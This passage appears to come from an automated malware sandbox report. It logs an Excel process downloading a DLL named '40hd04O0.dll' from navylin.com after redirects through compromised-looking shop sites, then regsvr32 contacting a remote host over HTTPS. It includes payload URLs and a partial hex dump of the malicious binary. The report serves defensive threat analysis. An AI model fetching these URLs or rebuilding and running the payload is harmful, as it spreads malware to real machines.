Nov 15, 2022 12:43:54.776000977 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776004076 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776004076 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776021957 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776025057 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776035070 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776050091 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776073933 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776073933 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776086092 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776098967 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776119947 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776123047 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776132107 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776144981 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776165009 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776169062 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:43:54.776189089 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776411057 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:54.776523113 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:43:55.560415030 CET	80	49176	163.172.108.69	192.168.2.22
Nov 15, 2022 12:43:55.560473919 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:44:34.987458944 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:34.987523079 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:34.987602949 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:34.990747929 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:34.990787983 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:35.905606031 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:35.905709982 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:35.922311068 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:35.922364950 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:35.923645973 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:36.123461008 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:36.370487928 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:36.370565891 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:37.444334030 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:37.444521904 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:37.444698095 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:37.446666956 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:37.446705103 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:37.446722984 CET	49180	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:44:37.446731091 CET	443	49180	218.38.121.17	192.168.2.22
Nov 15, 2022 12:44:54.543337107 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:44:54.543462038 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:45:26.289477110 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:26.289537907 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:26.289628029 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:26.293431044 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:26.293473005 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:27.123460054 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:27.123682022 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:27.136867046 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:27.136912107 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:27.137473106 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:27.342892885 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:27.342905998 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:27.343013048 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:27.660124063 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:27.660166979 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:28.763394117 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:28.763505936 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:28.763628006 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:28.764525890 CET	49181	443	192.168.2.22	218.38.121.17
Nov 15, 2022 12:45:28.764550924 CET	443	49181	218.38.121.17	192.168.2.22
Nov 15, 2022 12:45:44.395606041 CET	49179	80	192.168.2.22	47.92.133.65
Nov 15, 2022 12:45:44.395642996 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:45:44.395669937 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:45:44.625097036 CET	80	49179	47.92.133.65	192.168.2.22
Nov 15, 2022 12:45:44.707155943 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:45:44.709849119 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:45:45.315577030 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:45:45.315577984 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:45:46.516926050 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:45:46.517080069 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:45:48.919837952 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:45:48.919852972 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:45:53.724740028 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:45:53.724740982 CET	49173	80	192.168.2.22	163.172.115.127
Nov 15, 2022 12:46:03.335272074 CET	49176	80	192.168.2.22	163.172.108.69
Nov 15, 2022 12:46:03.335798979 CET	49173	80	192.168.2.22	163.172.115.127

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2022 12:43:46.305713892 CET	55868	53	192.168.2.22	8.8.8.8
Nov 15, 2022 12:43:46.416620970 CET	53	55868	8.8.8.8	192.168.2.22
Nov 15, 2022 12:43:46.418853045 CET	137	137	192.168.2.22	192.168.2.255
Nov 15, 2022 12:43:47.181888103 CET	137	137	192.168.2.22	192.168.2.255
Nov 15, 2022 12:43:47.946404934 CET	137	137	192.168.2.22	192.168.2.255
Nov 15, 2022 12:43:48.869680882 CET	49688	53	192.168.2.22	8.8.8.8
Nov 15, 2022 12:43:48.887279987 CET	53	49688	8.8.8.8	192.168.2.22
Nov 15, 2022 12:43:50.331979990 CET	58836	53	192.168.2.22	8.8.8.8
Nov 15, 2022 12:43:50.349412918 CET	53	58836	8.8.8.8	192.168.2.22
Nov 15, 2022 12:43:52.092000008 CET	50134	53	192.168.2.22	8.8.8.8
Nov 15, 2022 12:43:52.392379045 CET	53	50134	8.8.8.8	192.168.2.22
Nov 15, 2022 12:44:11.827030897 CET	138	138	192.168.2.22	192.168.2.255
Nov 15, 2022 12:45:41.442714930 CET	138	138	192.168.2.22	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2022 12:43:46.305713892 CET	192.168.2.22	8.8.8.8	0x6626	Standard query (0)	sat7ate.com	A (IP address)	IN (0x0001)	false
Nov 15, 2022 12:43:48.869680882 CET	192.168.2.22	8.8.8.8	0x2474	Standard query (0)	www.spinbalence.com	A (IP address)	IN (0x0001)	false
Nov 15, 2022 12:43:50.331979990 CET	192.168.2.22	8.8.8.8	0x72a1	Standard query (0)	www.3d-stickers.com	A (IP address)	IN (0x0001)	false
Nov 15, 2022 12:43:52.092000008 CET	192.168.2.22	8.8.8.8	0xe22e	Standard query (0)	navylin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2022 12:43:46.416620970 CET	8.8.8.8	192.168.2.22	0x6626	Server failure (2)	sat7ate.com	none	none	A (IP address)	IN (0x0001)	false
Nov 15, 2022 12:43:48.887279987 CET	8.8.8.8	192.168.2.22	0x2474	No error (0)	www.spinbalence.com		163.172.115.127	A (IP address)	IN (0x0001)	false
Nov 15, 2022 12:43:50.349412918 CET	8.8.8.8	192.168.2.22	0x72a1	No error (0)	www.3d-stickers.com		163.172.108.69	A (IP address)	IN (0x0001)	false
Nov 15, 2022 12:43:52.392379045 CET	8.8.8.8	192.168.2.22	0xe22e	No error (0)	navylin.com		47.92.133.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.spinbalence.com

www.3d-stickers.com

218.38.121.17

navylin.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49174	163.172.115.127	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	163.172.115.127	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49177	163.172.108.69	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49178	163.172.108.69	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49180	218.38.121.17	443	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49181	218.38.121.17	443	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49173	163.172.115.127	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 15, 2022 12:43:48.924941063 CET	1	OUT	GET /Adapter/moycMR/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.spinbalence.com Connection: Keep-Alive
Nov 15, 2022 12:43:49.175769091 CET	1	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Nov 2022 11:43:48 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsd Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 Status: 404 Not Found Cache-Control: no-cache Location: https://www.spinbalence.com/Adapter/moycMR/ Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49176	163.172.108.69	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 15, 2022 12:43:50.384752989 CET	28	OUT	GET /Content/Afa1PcRuxh/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.3d-stickers.com Connection: Keep-Alive
Nov 15, 2022 12:43:50.502834082 CET	28	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Nov 2022 11:43:50 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsd Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 Status: 404 Not Found Cache-Control: no-cache Location: https://www.3d-stickers.com/Content/Afa1PcRuxh/ Set-Cookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNI2Ckr%2B1t%2BqGSwMBMouqmkFK0SD2XdZ7Cg5qtQQ9RwtmJfdpSnAaKPknzS3gL2v8c%3D000079; expires=Mon, 05-Dec-2022 11:43:50 GMT; Max-Age=1728000; path=/; domain=www.3d-stickers.com; httponly Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49179	47.92.133.65	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Nov 15, 2022 12:43:52.624563932 CET	39	OUT	GET /bsavxiv/axHQYKl/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: navylin.com Connection: Keep-Alive
Nov 15, 2022 12:43:52.860481024 CET	40	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Nov 2022 11:43:52 GMT Content-Type: application/x-msdownload Content-Length: 769024 Connection: keep-alive X-Powered-By: PHP/7.3.0 Set-Cookie: 63737b78b11da=1668512632; expires=Tue, 15-Nov-2022 11:44:52 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Tue, 15 Nov 2022 11:43:52 GMT Expires: Tue, 15 Nov 2022 11:43:52 GMT Content-Disposition: attachment; filename="40hd04O0.dll" Content-Transfer-Encoding: binary Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 d9 25 ba ec b8 4b e9 ec b8 4b e9 ec b8 4b e9 9a 25 26 e9 eb b8 4b e9 cb 7e 36 e9 e7 b8 4b e9 cb 7e 26 e9 43 b8 4b e9 9a 25 30 e9 fb b8 4b e9 ec b8 4a e9 f8 ba 4b e9 cb 7e 25 e9 76 b8 4b e9 cb 7e 31 e9 ed b8 4b e9 cb 7e 33 e9 ed b8 4b e9 52 69 63 68 ec b8 4b e9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 b6 15 64 63 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 08 00 00 5a 05 00 00 5e 06 00 00 00 00 00 60 23 03 00 00 10 00 00 00 00 00 10 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 60 0c 00 00 04 00 00 a8 56 0c 00 02 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 30 f8 0a 00 4f 00 00 00 50 d5 0a 00 dc 00 00 00 00 10 0c 00 b0 00 00 00 00 a0 0b 00 7c 65 00 00 00 00 00 00 00 00 00 00 00 20 0c 00 c4 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 10 0b 00 00 b0 d4 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 59 05 00 00 10 00 00 00 5a 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7f 88 05 00 00 70 05 00 00 8a 05 00 00 5e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 70 9d 00 00 00 00 0b 00 00 3a 00 00 00 e8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 7c 65 00 00 00 a0 0b 00 00 66 00 00 00 22 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 b0 00 00 00 00 10 0c 00 00 02 00 00 00 88 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 30 00 00 00 20 0c 00 00 32 00 00 00 8a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%KKK%&K~6K~&CK%0KJK~%vK~1K~3KRichKPEddc" Z^`#`V0OP\|e p@.textYZ `.rdatap^@@.datap:@.pdata\|ef"@@.rsrc@@.relocl0 2@B
Nov 15, 2022 12:43:52.860568047 CET	41	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2022 12:43:52.860624075 CET	42	IN	Data Raw: 08 89 44 24 40 8b 84 24 98 00 00 00 89 44 24 38 8b 84 24 90 00 00 00 89 44 24 30 8b 84 24 88 00 00 00 89 44 24 28 8b 84 24 80 00 00 00 89 44 24 20 ff 15 0d 65 05 00 48 83 c4 58 c3 48 83 ec 38 48 8b 44 24 60 48 8b 49 08 48 89 44 24 20 ff 15 90 5c Data Ascii: D$@$D$8$D$0$D$($D$ eHXH8HD$`HIHD$ \H8HL$SWHhHD$PHHhH39yPt]DADQ@DQLE+DIHD+HI8HCD$@ DD$8T$0HD$(DT$ HI~\L[0L;tI{HHKYHyHyHK Hg
Nov 15, 2022 12:43:52.860665083 CET	44	IN	Data Raw: 20 5b c3 cc cc cc 4c 89 44 24 18 53 55 56 57 41 54 41 55 41 56 41 57 4c 8b dc 48 81 ec 98 00 00 00 48 c7 44 24 30 fe ff ff ff 66 41 0f 7f 7b e8 66 45 0f 7f 43 d8 4d 8b e0 48 8b fa 48 8b f1 b8 ff ff ff ff 89 44 24 38 89 44 24 3c c7 44 24 40 01 00 Data Ascii: [LD$SUVWATAUAVAWLHHD$0fA{fECMHHD$8D$<D$@D$D3IkHUcICIkICHb EHl$XHXHED$A$H(YgYg[DHOwVH_H$fW
Nov 15, 2022 12:43:52.860707045 CET	45	IN	Data Raw: 00 44 8b ce 44 8b c6 33 d2 33 c9 ff 15 e7 53 05 00 48 8b d0 48 8d 8c 24 80 00 00 00 e8 43 dc 00 00 44 8b ce 44 8b c6 33 d2 33 c9 ff 15 c7 53 05 00 48 8b d0 48 8d 8c 24 90 00 00 00 e8 23 dc 00 00 45 8b ce 45 8b c7 33 d2 33 c9 ff 15 a7 53 05 00 48 Data Ascii: DD33SHH$CDD33SHH$#EE33SHH$DD33SHHXHDD33eSHHhDLD$XHT$HH$&SDLD$xHT$hH$SDL$H$
Nov 15, 2022 12:43:52.860785961 CET	47	IN	Data Raw: 00 00 48 8b 4f 08 ff 15 6e 4d 05 00 41 b8 02 00 00 00 48 8b d6 48 8b 4d 08 ff 15 93 4e 05 00 4c 8d 8c 24 80 00 00 00 44 8b 47 5c 8b 16 48 8b 4f 08 ff 15 53 4d 05 00 48 8b 4d 08 ff 15 91 4e 05 00 8b d0 48 8b 4f 08 ff 15 45 4d 05 00 48 c7 44 24 38 Data Ascii: HOnMAHHMNL$DG\HOSMHMNHOEMHD$8D$0HD$(Ht$ AE33HOMHHPA\_^][@UH HHH ]@UH HHH@H ]@SWH(HtHVH
Nov 15, 2022 12:43:52.860825062 CET	48	IN	Data Raw: d1 f8 44 8b c8 8b 87 c0 00 00 00 99 2b c2 d1 f8 44 8b c0 48 8d 54 24 20 48 8d 8c 24 a0 00 00 00 e8 63 c8 00 00 39 b7 b8 00 00 00 74 4f 8b 84 24 d4 00 00 00 f7 d8 89 44 24 20 8b 84 24 d8 00 00 00 f7 d8 89 44 24 24 45 33 c0 48 8d 94 24 a0 00 00 00 Data Ascii: D+DHT$ H$c9tO$D$ $D$$E3H$HL$08LD$ HT$0HHL$0t$ t$$LD$ H$H[H$mHY@HUTH$3DB@H$"H$$H4TH$H
Nov 15, 2022 12:43:52.860865116 CET	49	IN	Data Raw: 48 83 ec 20 48 8b ea 48 8b 4d 40 48 81 c1 60 01 00 00 e8 ef fe ff ff 48 83 c4 20 5d c3 cc 40 53 57 48 83 ec 28 8b da 48 8b f9 e8 97 2d 00 00 f6 c3 01 74 08 48 8b cf e8 fe b4 00 00 48 8b c7 48 83 c4 28 5f 5b c3 48 8d 05 01 5b 05 00 c3 40 53 57 48 Data Ascii: H HHM@H`H ]@SWH(H-tHHH(_[H[@SWHHD$@H\|D$(D$ E3EAHHzLHHL$PLVL\$PHjHP@HL$PE3LpH$LHLu>E
Nov 15, 2022 12:43:52.860905886 CET	51	IN	Data Raw: f2 0f 10 01 f2 0f 5c 02 f2 0f 2c c0 c3 cc cc cc 48 8d 05 41 5a 05 00 c3 40 53 57 48 83 ec 28 8b da 48 8d 05 00 d1 0a 00 ba 01 00 00 00 89 99 e8 01 00 00 4c 8b 04 d8 44 8b ca 48 8b f9 e8 5e 06 02 00 8d 93 04 e0 00 00 48 8d 8f 08 01 00 00 41 b9 02 Data Ascii: \,HAZ@SWH(HLDH^HAL/uHzH(_[@SH0Lvft$ fWDBHABX4II\|Y5*Zfot$ H0[;@SWHXft$@H,H3HD$
Nov 15, 2022 12:43:52.860949993 CET	52	IN	Data Raw: 2a c8 8b c7 c1 e8 10 0f b6 c0 f3 0f 2a c0 f3 0f 59 ca f3 0f 59 c3 f3 0f 58 c8 f3 48 0f 2c c1 f3 0f 2a c9 40 0f b6 cf 0f b6 c0 c1 e0 10 41 0b c0 f3 0f 59 ca f3 0f 2a c1 f3 0f 59 c3 f3 0f 58 c8 f3 48 0f 2c c9 0f b6 d1 0b c2 48 83 c4 28 5f 5b c3 cc Data Ascii: *YYXH,@AY*YXH,H(_[HH/ft$0f\|$ fDD$((fD$D(v((/w(/v((/w(5FHD$xW(X(Y/HL$pD(D\D/D/0s
Nov 15, 2022 12:43:53.089344978 CET	54	IN	Data Raw: 8d 44 24 38 f3 0f 59 94 24 d0 00 00 00 f3 0f 59 84 24 d8 00 00 00 f3 0f 59 64 24 34 48 89 44 24 20 f3 0f 58 d0 f3 0f 58 cc 0f 28 c3 f3 0f 5e d5 f3 0f 5e cd e8 a7 fc ff ff f3 0f 10 44 24 3c f3 0f 10 6c 24 38 66 0f 6f b4 24 a0 00 00 00 66 0f 6f bc Data Ascii: D$8Y$Y$Yd$4HD$ XX(^^D$<l$8fo$fo$fDo$fDoL$pfDoT$`AYAYH,D$@H,AYfDo\$PH,HHHfpWfxpp pL$DfD@fD

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49174	163.172.115.127	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-11-15 11:43:49 UTC	0	OUT	GET /Adapter/moycMR/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.spinbalence.com Connection: Keep-Alive
2022-11-15 11:43:49 UTC	0	IN	HTTP/1.1 302 Found Date: Tue, 15 Nov 2022 11:43:49 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsd Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 Status: 404 Not Found Location: https://www.spinbalence.com/index.php?controller=404 Set-Cookie: PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162=Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAiRnV0TG5b0npswANceXA1cwrQZJXojk9hvRnyRY37Ivk%3D000075; expires=Mon, 05-Dec-2022 11:43:49 GMT; Max-Age=1728000; path=/; domain=www.spinbalence.com; secure; httponly;HttpOnly;Secure Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	163.172.115.127	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-11-15 11:43:49 UTC	1	OUT	GET /index.php?controller=404 HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.spinbalence.com Connection: Keep-Alive Cookie: PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162=Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAiRnV0TG5b0npswANceXA1cwrQZJXojk9hvRnyRY37Ivk%3D000075
2022-11-15 11:43:50 UTC	1	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Nov 2022 11:43:49 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsd Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA" Powered-By: PrestaShop Status: 404 Not Found Set-Cookie: PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162=Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAilMIA%2BG6u6fOffdeloSSLftgvfHedjHZsx%2FnHB3u6bs5u%2F94PwbzL8h8iuQj5fU6ouxPvjTOMmxa%2BzRYyONLyaAb0hg9MOCCN3g2h1jkAF3E%3D000114; expires=Mon, 05-Dec-2022 11:43:49 GMT; Max-Age=1727999; path=/; domain=www.spinbalence.com; secure; httponly;HttpOnly;Secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8
2022-11-15 11:43:50 UTC	2	IN	Data Raw: 37 64 64 64 0d 0a Data Ascii: 7ddd
